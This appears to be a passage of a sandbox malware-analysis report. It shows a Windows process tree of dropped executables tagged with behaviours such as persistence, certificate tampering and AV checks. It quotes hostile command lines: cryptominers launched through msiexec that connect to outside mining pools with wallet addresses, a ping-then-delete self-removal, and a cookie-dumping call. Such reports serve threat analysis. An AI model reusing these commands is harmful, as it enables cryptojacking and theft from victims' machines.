C:\Users\Admin\AppData\Local\Temp\auzprkrb.tef\app.exeC:\Users\Admin\AppData\Local\Temp\auzprkrb.tef\app.exe /8-22227⤵
- Executes dropped EXE
PID:5972 -
C:\Users\Admin\AppData\Local\Temp\auzprkrb.tef\app.exe"C:\Users\Admin\AppData\Local\Temp\auzprkrb.tef\app.exe" /8-22228⤵PID:5308
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mwssxfkg.q52\c7ae36fa.exe & exit6⤵PID:5420
-
C:\Users\Admin\AppData\Local\Temp\mwssxfkg.q52\c7ae36fa.exeC:\Users\Admin\AppData\Local\Temp\mwssxfkg.q52\c7ae36fa.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5544
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
PID:5004 -
C:\Users\Admin\AppData\Roaming\AB3A.tmp.exe"C:\Users\Admin\AppData\Roaming\AB3A.tmp.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5188 -
C:\Users\Admin\AppData\Roaming\AB3A.tmp.exe"C:\Users\Admin\AppData\Roaming\AB3A.tmp.exe"4⤵
- Executes dropped EXE
- Checks processor information in registry
PID:5560
-
-
-
C:\Users\Admin\AppData\Roaming\AFA0.tmp.exe"C:\Users\Admin\AppData\Roaming\AFA0.tmp.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:5828 -
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w24106@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 999994⤵PID:3768
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w8560 --cpu-max-threads-hint 50 -r 99994⤵
- Blocklisted process makes network request
PID:5528
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"3⤵PID:5272
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.14⤵
- Runs ping.exe
PID:5496
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"2⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:5656
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4896 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
PID:1764
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵PID:5036
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
PID:4616
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵
- Executes dropped EXE
PID:4436
-
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:420 -
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
PID:1896
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4380
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4628
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5116
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies Internet Explorer settings
- Modifies registry class
PID:4364
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:5864
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5592
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5832
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5848
-
C:\Users\Admin\AppData\Local\Temp\BF59.exeC:\Users\Admin\AppData\Local\Temp\BF59.exe1⤵
- Executes dropped EXE
PID:6032
-
C:\Users\Admin\AppData\Local\Temp\C805.exeC:\Users\Admin\AppData\Local\Temp\C805.exe1⤵
- Executes dropped EXE
PID:2980 -
C:\Users\Admin\AppData\Roaming\RegWorkshop\RegWorkshop.exeC:\Users\Admin\AppData\Roaming\RegWorkshop\RegWorkshop.exe2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:3768
-
-
C:\Users\Admin\AppData\Local\Temp\CE30.exeC:\Users\Admin\AppData\Local\Temp\CE30.exe1⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Suspicious use of SetThreadContext
PID:4084 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe2⤵PID:5760
-
-
C:\Users\Admin\AppData\Local\Temp\D2E4.exeC:\Users\Admin\AppData\Local\Temp\D2E4.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4944
-
C:\Users\Admin\AppData\Local\Temp\D834.exeC:\Users\Admin\AppData\Local\Temp\D834.exe1⤵
- Executes dropped EXE
PID:5172
-
C:\Users\Admin\AppData\Local\Temp\E1DA.exeC:\Users\Admin\AppData\Local\Temp\E1DA.exe1⤵
- Executes dropped EXE
PID:4796 -
C:\Users\Admin\AppData\Local\Temp\1171344888.exe"C:\Users\Admin\AppData\Local\Temp\1171344888.exe"2⤵
- Executes dropped EXE
PID:5540
-
-
C:\Users\Admin\AppData\Local\Temp\397771211.exe"C:\Users\Admin\AppData\Local\Temp\397771211.exe"2⤵
- Executes dropped EXE
PID:5184
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1516
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:4396
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Suspicious use of SetWindowsHookEx
PID:5796
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5680
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5576
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:5616
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5396
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Suspicious behavior: MapViewOfSection
PID:748
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2876
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
- Executes dropped EXE
- Suspicious behavior: MapViewOfSection
PID:5036
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:5372
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4356
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:3944
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3052
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:4852
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3824
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5280
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:5916
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
BITS Jobs
1Install Root Certificate
1Modify Registry
3Web Service
1